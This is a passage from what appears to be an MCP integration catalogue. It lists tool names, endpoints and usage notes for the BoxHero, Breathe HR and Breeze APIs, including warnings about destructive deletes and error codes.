a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. PUT /api/v1/boxhero/v1/item-attrs/ranks. Scopes: api. box_hero_put_v1_items_by_item_id (write) — Update item via PUT /v1/items/{item_id}. Update an existing item. Only the fields you include are changed; pass `attrs[k] = null` to remove a single attribute value. PUT /api/v1/boxhero/v1/items/{item_id}. Scopes: api. box_hero_put_v1_items_by_sku_by_sku (write) — Update item by SKU via PUT /v1/items/by-sku/{sku}. Update an existing item. Only the fields you include are changed; pass `attrs[k] = null` to remove a single attribute value. SKU-addressed twin of the id-addressed update. A SKU containing a slash cannot be passed through this tool (see the read). PUT /api/v1/boxhero/v1/items/by-sku/{sku}. Scopes: api. box_hero_put_v1_locations_by_location_id (write) — Update location via PUT /v1/locations/{location_id}. Update a location's name and/or memo. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. PUT /api/v1/boxhero/v1/locations/{location_id}. Scopes: api. box_hero_put_v1_partners_by_partner_id (write) — Update partner via PUT /v1/partners/{partner_id}. Update an existing partner. `type` cannot be changed once set; create a new partner if you need to switch supplier ↔ customer. PUT /api/v1/boxhero/v1/partners/{partner_id}. Scopes: api. box_hero_put_v1_price_lists_by_price_list_id (write) — Update price list via PUT /v1/price-lists/{price_list_id}. Update a price list. Only included fields change. `items`, when provided, replaces the entire line set. PUT /api/v1/boxhero/v1/price-lists/{price_list_id}. Scopes: api. box_hero_put_v1_purchase_orders_by_number_by_order_number (write) — Update purchase order by number via PUT /v1/purchase-orders/by-number/{order_number}. Partially update a purchase or sales order. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}. Scopes: api. box_hero_put_v1_purchase_orders_by_number_by_order_number_status (write) — Update purchase order status by number via PUT /v1/purchase-orders/by-number/{order_number}/status. Set order status directly. No transition guard is applied: any status may transition to any other status, including backward (e.g. `done` → `draft`). This mirrors BoxHero core behavior. PUT /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}/status. Scopes: api. box_hero_put_v1_purchase_orders_by_order_id (write) — Update purchase order via PUT /v1/purchase-orders/{order_id}. Partially update a purchase or sales order. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/purchase-orders/{order_id}. Scopes: api. box_hero_put_v1_purchase_orders_by_order_id_status (write) — Update purchase order status via PUT /v1/purchase-orders/{order_id}/status. Set order status directly. No transition guard is applied: any status may transition to any other status, including backward (e.g. `done` → `draft`). This mirrors BoxHero core behavior. PUT /api/v1/boxhero/v1/purchase-orders/{order_id}/status. Scopes: api. box_hero_put_v1_returns_by_number_by_return_number (write) — Update return by number via PUT /v1/returns/by-number/{return_number}. Partially update a sales return. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/returns/by-number/{return_number}. Scopes: api. box_hero_put_v1_returns_by_return_id (write) — Update return via PUT /v1/returns/{return_id}. Partially update a sales return. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/returns/{return_id}. Scopes: api. box_hero_put_v1_sales_orders_by_number_by_order_number (write) — Update sales order by number via PUT /v1/sales-orders/by-number/{order_number}. Partially update a purchase or sales order. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/sales-orders/by-number/{order_number}. Scopes: api. box_hero_put_v1_sales_orders_by_number_by_order_number_status (write) — Update sales order status by number via PUT /v1/sales-orders/by-number/{order_number}/status. Set order status directly. No transition guard is applied: any status may transition to any other status, including backward (e.g. `done` → `draft`). This mirrors BoxHero core behavior. PUT /api/v1/boxhero/v1/sales-orders/by-number/{order_number}/status. Scopes: api. box_hero_put_v1_sales_orders_by_order_id (write) — Update sales order via PUT /v1/sales-orders/{order_id}. Partially update a purchase or sales order. Omitted scalar fields and omitted items are preserved. PUT /api/v1/boxhero/v1/sales-orders/{order_id}. Scopes: api. box_hero_put_v1_sales_orders_by_order_id_status (write) — Update sales order status via PUT /v1/sales-orders/{order_id}/status. Set order status directly. No transition guard is applied: any status may transition to any other status, including backward (e.g. `done` → `draft`). This mirrors BoxHero core behavior. PUT /api/v1/boxhero/v1/sales-orders/{order_id}/status. Scopes: api. box_hero_put_v1_transactions_by_tx_id (write) — Update transaction via PUT /v1/transactions/{tx_id}. Partially update an existing transaction. Type-specific rules from create still apply (e.g. Move Stock cannot gain a partner; Adjust Stock cannot carry `tx_time`). Pass `revision` to enforce optimistic concurrency. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. PUT /api/v1/boxhero/v1/transactions/{tx_id}. Scopes: api. ================================================================================ ## Breathe HR URL: https://www.agenticfabriq.com/integrations/breathehr Section: Integrated Tools Breathe HR — 62 MCP tools Provider key: breathehr. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. breathehr_delete_v1_employee_expense_claims_by_id (write, destructive) — Delete employee expense claim via DELETE /v1/employee_expense_claims/{id} DELETE /api/v1/breathehr/v1/employee_expense_claims/{id}. Scopes: api. breathehr_delete_v1_employee_expenses_by_id (write, destructive) — Delete employee expense via DELETE /v1/employee_expenses/{id} DELETE /api/v1/breathehr/v1/employee_expenses/{id}. Scopes: api. breathehr_delete_v1_employee_training_courses_by_id (write, destructive) — Delete employee training course via DELETE /v1/employee_training_courses/{id} DELETE /api/v1/breathehr/v1/employee_training_courses/{id}. Scopes: api. breathehr_delete_v1_sicknesses_by_id (write, destructive) — Delete sickness via DELETE /v1/sicknesses/{id} DELETE /api/v1/breathehr/v1/sicknesses/{id}. Scopes: api. breathehr_get_v1_absences (read) — List absences via GET /v1/absences GET /api/v1/breathehr/v1/absences. Scopes: api. breathehr_get_v1_account (read) — Get account via GET /v1/account GET /api/v1/breathehr/v1/account. Scopes: api. breathehr_get_v1_benefits (read) — List benefits via GET /v1/benefits GET /api/v1/breathehr/v1/benefits. Scopes: api. breathehr_get_v1_bonuses (read) — List bonuses via GET /v1/bonuses GET /api/v1/breathehr/v1/bonuses. Scopes: api. breathehr_get_v1_change_requests (read) — List change requests via GET /v1/change_requests GET /api/v1/breathehr/v1/change_requests. Scopes: api. breathehr_get_v1_company_documents (read) — List company documents via GET /v1/company_documents GET /api/v1/breathehr/v1/company_documents. Scopes: api. breathehr_get_v1_company_projects (read) — List company projects via GET /v1/company_projects GET /api/v1/breathehr/v1/company_projects. Scopes: api. breathehr_get_v1_company_projects_by_id (read) — Get company project via GET /v1/company_projects/{id} GET /api/v1/breathehr/v1/company_projects/{id}. Scopes: api. breathehr_get_v1_company_training_types (read) — List company training types via GET /v1/company_training_types GET /api/v1/breathehr/v1/company_training_types. Scopes: api. breathehr_get_v1_departments (read) — List departments via GET /v1/departments GET /api/v1/breathehr/v1/departments. Scopes: api. breathehr_get_v1_departments_by_id_absences (read) — List department absences via GET /v1/departments/{id}/absences GET /api/v1/breathehr/v1/departments/{id}/absences. Scopes: api. breathehr_get_v1_departments_by_id_benefits (read) — List department benefits via GET /v1/departments/{id}/benefits GET /api/v1/breathehr/v1/departments/{id}/benefits. Scopes: api. breathehr_get_v1_departments_by_id_bonuses (read) — List department bonuses via GET /v1/departments/{id}/bonuses GET /api/v1/breathehr/v1/departments/{id}/bonuses. Scopes: api. breathehr_get_v1_departments_by_id_leave_requests (read) — List department leave requests via GET /v1/departments/{id}/leave_requests GET /api/v1/breathehr/v1/departments/{id}/leave_requests. Scopes: api. breathehr_get_v1_departments_by_id_salaries (read) — List department salaries via GET /v1/departments/{id}/salaries GET /api/v1/breathehr/v1/departments/{id}/salaries. Scopes: api. breathehr_get_v1_divisions (read) — List divisions via GET /v1/divisions GET /api/v1/breathehr/v1/divisions. Scopes: api. breathehr_get_v1_employee_expense_claims (read) — List employee expense claims via GET /v1/employee_expense_claims GET /api/v1/breathehr/v1/employee_expense_claims. Scopes: api. breathehr_get_v1_employee_expense_claims_by_id (read) — Get employee expense claim via GET /v1/employee_expense_claims/{id} GET /api/v1/breathehr/v1/employee_expense_claims/{id}. Scopes: api. breathehr_get_v1_employee_expenses (read) — List employee expenses via GET /v1/employee_expenses GET /api/v1/breathehr/v1/employee_expenses. Scopes: api. breathehr_get_v1_employee_expenses_by_id (read) — Get employee expense via GET /v1/employee_expenses/{id} GET /api/v1/breathehr/v1/employee_expenses/{id}. Scopes: api. breathehr_get_v1_employee_jobs (read) — List employee jobs via GET /v1/employee_jobs GET /api/v1/breathehr/v1/employee_jobs. Scopes: api. breathehr_get_v1_employee_training_courses (read) — List employee training courses via GET /v1/employee_training_courses GET /api/v1/breathehr/v1/employee_training_courses. Scopes: api. breathehr_get_v1_employees (read) — List employees via GET /v1/employees GET /api/v1/breathehr/v1/employees. Scopes: api. breathehr_get_v1_employees_by_id (read) — Get employee via GET /v1/employees/{id} GET /api/v1/breathehr/v1/employees/{id}. Scopes: api. breathehr_get_v1_employees_by_id_absences (read) — List employee absences via GET /v1/employees/{id}/absences GET /api/v1/breathehr/v1/employees/{id}/absences. Scopes: api. breathehr_get_v1_employees_by_id_benefits (read) — List employee benefits via GET /v1/employees/{id}/benefits GET /api/v1/breathehr/v1/employees/{id}/benefits. Scopes: api. breathehr_get_v1_employees_by_id_bonuses (read) — List employee bonuses via GET /v1/employees/{id}/bonuses GET /api/v1/breathehr/v1/employees/{id}/bonuses. Scopes: api. breathehr_get_v1_employees_by_id_change_requests (read) — List employee change requests via GET /v1/employees/{id}/change_requests GET /api/v1/breathehr/v1/employees/{id}/change_requests. Scopes: api. breathehr_get_v1_employees_by_id_employee_holiday_years (read) — List employee holiday years via GET /v1/employees/{id}/employee_holiday_years GET /api/v1/breathehr/v1/employees/{id}/employee_holiday_years. Scopes: api. breathehr_get_v1_employees_by_id_leave_requests (read) — List employee leave requests via GET /v1/employees/{id}/leave_requests GET /api/v1/breathehr/v1/employees/{id}/leave_requests. Scopes: api. breathehr_get_v1_employees_by_id_salaries (read) — List employee salaries via GET /v1/employees/{id}/salaries GET /api/v1/breathehr/v1/employees/{id}/salaries. Scopes: api. breathehr_get_v1_employees_by_id_sicknesses (read) — List employee sicknesses via GET /v1/employees/{id}/sicknesses GET /api/v1/breathehr/v1/employees/{id}/sicknesses. Scopes: api. breathehr_get_v1_holiday_allowances (read) — List holiday allowances via GET /v1/holiday_allowances GET /api/v1/breathehr/v1/holiday_allowances. Scopes: api. breathehr_get_v1_leave_requests (read) — List leave requests via GET /v1/leave_requests GET /api/v1/breathehr/v1/leave_requests. Scopes: api. breathehr_get_v1_leave_requests_by_id (read) — Get leave request via GET /v1/leave_requests/{id} GET /api/v1/breathehr/v1/leave_requests/{id}. Scopes: api. breathehr_get_v1_leave_requests_by_id_cancelling (read) — Get leave request cancelling state via GET /v1/leave_requests/{id}/cancelling GET /api/v1/breathehr/v1/leave_requests/{id}/cancelling. Scopes: api. breathehr_get_v1_leave_requests_other_leave_reasons (read) — List leave request other-leave reasons via GET /v1/leave_requests/other_leave_reasons GET /api/v1/breathehr/v1/leave_requests/other_leave_reasons. Scopes: api. breathehr_get_v1_locations (read) — List locations via GET /v1/locations GET /api/v1/breathehr/v1/locations. Scopes: api. breathehr_get_v1_other_leave_reasons (read) — List other-leave reasons via GET /v1/other_leave_reasons GET /api/v1/breathehr/v1/other_leave_reasons. Scopes: api. breathehr_get_v1_salaries (read) — List salaries via GET /v1/salaries GET /api/v1/breathehr/v1/salaries. Scopes: api. breathehr_get_v1_sicknesses (read) — List sicknesses via GET /v1/sicknesses GET /api/v1/breathehr/v1/sicknesses. Scopes: api. breathehr_get_v1_statutory_holiday_countries (read) — List statutory holiday countries via GET /v1/statutory_holiday_countries GET /api/v1/breathehr/v1/statutory_holiday_countries. Scopes: api. breathehr_get_v1_working_patterns (read) — List working patterns via GET /v1/working_patterns GET /api/v1/breathehr/v1/working_patterns. Scopes: api. breathehr_post_v1_absences_by_id_cancel (write, destructive) — Cancel absence via POST /v1/absences/{id}/cancel POST /api/v1/breathehr/v1/absences/{id}/cancel. Scopes: api. breathehr_post_v1_employee_expense_claims (write) — Create employee expense claim via POST /v1/employee_expense_claims POST /api/v1/breathehr/v1/employee_expense_claims. Scopes: api. breathehr_post_v1_employee_expenses (write) — Create employee expense via POST /v1/employee_expenses POST /api/v1/breathehr/v1/employee_expenses. Scopes: api. breathehr_post_v1_employee_training_courses (write) — Create employee training course via POST /v1/employee_training_courses POST /api/v1/breathehr/v1/employee_training_courses. Scopes: api. breathehr_post_v1_employees (write) — Create employee via POST /v1/employees POST /api/v1/breathehr/v1/employees. Scopes: api. breathehr_post_v1_employees_by_employee_id_change_requests_by_id_approve (write) — Approve employee change request via POST /v1/employees/{employee_id}/change_requests/{id}/approve POST /api/v1/breathehr/v1/employees/{employee_id}/change_requests/{id}/approve. Scopes: api. breathehr_post_v1_employees_by_id_change_requests (write) — Create employee change request via POST /v1/employees/{id}/change_requests POST /api/v1/breathehr/v1/employees/{id}/change_requests. Scopes: api. breathehr_post_v1_employees_by_id_leave_requests (write) — Create employee leave request via POST /v1/employees/{id}/leave_requests POST /api/v1/breathehr/v1/employees/{id}/leave_requests. Scopes: api. breathehr_post_v1_employees_by_id_sicknesses (write) — Create employee sickness via POST /v1/employees/{id}/sicknesses POST /api/v1/breathehr/v1/employees/{id}/sicknesses. Scopes: api. breathehr_post_v1_leave_requests_by_id_approve (write) — Approve leave request via POST /v1/leave_requests/{id}/approve POST /api/v1/breathehr/v1/leave_requests/{id}/approve. Scopes: api. breathehr_post_v1_leave_requests_by_id_reject (write) — Reject leave request via POST /v1/leave_requests/{id}/reject POST /api/v1/breathehr/v1/leave_requests/{id}/reject. Scopes: api. breathehr_put_v1_employee_expense_claims_by_id (write) — Update employee expense claim via PUT /v1/employee_expense_claims/{id} PUT /api/v1/breathehr/v1/employee_expense_claims/{id}. Scopes: api. breathehr_put_v1_employee_expenses_by_id (write) — Update employee expense via PUT /v1/employee_expenses/{id} PUT /api/v1/breathehr/v1/employee_expenses/{id}. Scopes: api. breathehr_put_v1_employee_training_courses_by_id (write) — Update employee training course via PUT /v1/employee_training_courses/{id} PUT /api/v1/breathehr/v1/employee_training_courses/{id}. Scopes: api. breathehr_put_v1_sicknesses_by_id (write) — Update sickness via PUT /v1/sicknesses/{id} PUT /api/v1/breathehr/v1/sicknesses/{id}. Scopes: api. ================================================================================ ## Breeze URL: https://www.agenticfabriq.com/integrations/breeze Section: Integrated Tools Breeze — 64 MCP tools Provider key: breeze. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. breeze_delete_projects_by_project_id_cards_by_card_id_comments_by_comment_id_json (write, destructive) — Delete a comment via DELETE /projects/{project_id}/cards/{card_id}/comments/{comment_id}.json. Delete a comment from a card. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/cards/{card_id}/comments/{comment_id}.json. Scopes: api. breeze_delete_projects_by_project_id_cards_by_card_id_json (write, destructive) — Delete a card via DELETE /projects/{project_id}/cards/{card_id}.json. Delete a card with its comments, todo lists and todos. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/cards/{card_id}.json. Scopes: api. breeze_delete_projects_by_project_id_cards_by_card_id_time_entry_by_time_entry_id_json (write, destructive) — Delete a time entry via DELETE /projects/{project_id}/cards/{card_id}/time_entry/{time_entry_id}.json. Remove one logged time entry from a card. The project's tracked total changes with it. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/cards/{card_id}/time_entry/{time_entry_id}.json. Scopes: api. breeze_delete_projects_by_project_id_cards_by_card_id_todo_lists_by_todo_list_id_json (write, destructive) — Delete a todo list via DELETE /projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}.json. Delete a todo list and every todo in it. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}.json. Scopes: api. breeze_delete_projects_by_project_id_cards_by_card_id_todos_by_todo_id_json (write, destructive) — Delete a todo via DELETE /projects/{project_id}/cards/{card_id}/todos/{todo_id}.json. Delete one todo. NOTE THE PATH: the delete is addressed under the CARD, not under the todo list -- the opposite of the update, and both were measured that way. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/cards/{card_id}/todos/{todo_id}.json. Scopes: api. breeze_delete_projects_by_project_id_json (write, destructive) — Delete a project via DELETE /projects/{project_id}.json. Delete a project and everything under it -- stages, cards, comments, todo lists and todos. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}.json. Scopes: api. breeze_delete_projects_by_project_id_people_by_user_id_json (write, destructive) — Remove a person from a project via DELETE /projects/{project_id}/people/{user_id}.json. Remove one person's access to a project. REMOVING THE LAST MEMBER ORPHANS THE PROJECT AND NOTHING CAN RECOVER IT THROUGH THIS API -- measured: the project then disappears from the project list, its own read answers 404, and its DELETE answers 404, so it can be neither used nor cleaned up. Check the people list first and never remove the final member. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/people/{user_id}.json. Scopes: api. breeze_delete_projects_by_project_id_stages_by_stage_id_json (write, destructive) — Delete a stage via DELETE /projects/{project_id}/stages/{stage_id}.json. Delete a stage from a project. Cards sitting in it go with it. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/stages/{stage_id}.json. Scopes: api. breeze_delete_projects_by_project_id_swimlanes_by_swimlane_id_json (write, destructive) — Delete a swimlane via DELETE /projects/{project_id}/swimlanes/{swimlane_id}.json. Delete a swimlane from a project. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/projects/{project_id}/swimlanes/{swimlane_id}.json. Scopes: api. breeze_delete_workspaces_by_workspace_id_json (write, destructive) — Delete a workspace via DELETE /workspaces/{workspace_id}.json. Delete a workspace. DESTRUCTIVE AND NOT REVERSIBLE THROUGH THIS API: Breeze publishes no undelete endpoint, so absence is confirmed by re-reading the COLLECTION rather than by a 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. DELETE /api/v1/breeze/workspaces/{workspace_id}.json. Scopes: api. breeze_get_activities_by_user_id_json (read) — List one user's activity via GET /activities/{user_id}.json. The audit log filtered to one user, across every project. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/activities/{user_id}.json. Scopes: api. breeze_get_activities_json (read) — List activity across all projects via GET /activities.json. The account's audit log. 50 entries per page; `message` carries Breeze's own HTML. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/activities.json. Scopes: api. breeze_get_cards_json (read) — List cards across all projects via GET /cards.json. Every card the connected user can see, across every project, as a flat array. Paginated. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/cards.json. Scopes: api. breeze_get_me_json (read) — Show the connected Breeze user via GET /me.json. Who this connection authenticates as, and -- the field that matters for a multi-team account -- the `team_id` to configure on the connection. THE API TOKEN IS STRIPPED FROM THIS REPLY: Breeze echoes the caller's own credential back in `authentication_token`, and Agentic Fabriq replaces it before the result is returned. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/me.json. Scopes: api. breeze_get_notifications_json (read) — List notifications via GET /notifications.json. The connected user's Breeze notifications. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/notifications.json. Scopes: api. breeze_get_projects_by_project_id_activities_by_user_id_json (read) — List one user's activity in a project via GET /projects/{project_id}/activities/{user_id}.json. The audit log for one project, filtered to one user. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/activities/{user_id}.json. Scopes: api. breeze_get_projects_by_project_id_activities_json (read) — List a project's activity via GET /projects/{project_id}/activities.json. The audit log for one project. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/activities.json. Scopes: api. breeze_get_projects_by_project_id_archive_json (write) — Archive a project via GET /projects/{project_id}/archive.json. Archive a project: it leaves the active project list and its work is hidden from the boards. THIS IS A WRITE BEHIND A GET -- Breeze mounts it as a GET, so it is NOT safe to retry idly or to call while exploring. Reversible with the reactivate tool. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/archive.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_activities_json (read) — List a card's activity via GET /projects/{project_id}/cards/{card_id}/activities.json. The audit log for one card. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}/activities.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_comments_json (read) — List a card's comments via GET /projects/{project_id}/cards/{card_id}/comments.json. A card's comments. The LIST shape differs from the create/update shape: it nests `project`, `card` and `user` objects instead of the bare `user_id`/`card_id` a write returns. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}/comments.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_json (read) — Show a card via GET /projects/{project_id}/cards/{card_id}.json. One card with its tags, todo lists, time entries, attachments and custom fields. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_time_entry_json (read) — List a card's time entries via GET /projects/{project_id}/cards/{card_id}/time_entry.json. The time logged against one card. NOTE THE SINGULAR PATH SEGMENT -- `time_entry`, not `time_entries`. The research concluded this resource had no endpoint at all; it tried eight plural spellings and the singular is the one Breeze serves. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}/time_entry.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_todo_lists_by_todo_list_id_todos_json (read) — List a todo list's todos via GET /projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}/todos.json. The todos in one todo list. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists/{todo_list_id}/todos.json. Scopes: api. breeze_get_projects_by_project_id_cards_by_card_id_todo_lists_json (read) — List a card's todo lists via GET /projects/{project_id}/cards/{card_id}/todo_lists.json. A card's todo lists, each carrying its own todos. THE ONLY WAY TO READ A CARD'S TODOS in one call. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards/{card_id}/todo_lists.json. Scopes: api. breeze_get_projects_by_project_id_cards_json (read) — List a project's cards by stage via GET /projects/{project_id}/cards.json. A project's board: an array of STAGES, each carrying its own cards. This is NOT a flat card list -- read `cards` inside each stage. A project id Breeze cannot resolve answers 200 with an empty array rather than 404. The connection's Breeze API token is attached server-side as the `api_token` query parameter and never appears in this tool's arguments. Breeze routes before it authenticates, and its two 404s mean different things: `{"status":404,"error":"Not Found"}` is no such route, while `{"error":"404 Not found"}` is a route that exists and a record it could not resolve. GET /api/v1/breeze/projects/{project_id}/cards.json. Scopes: api. breeze_get_projects_by_project_id_custom_fields_json (read) — List a project's custom fields via GET /projects/{project_id}/custom_fields.json. 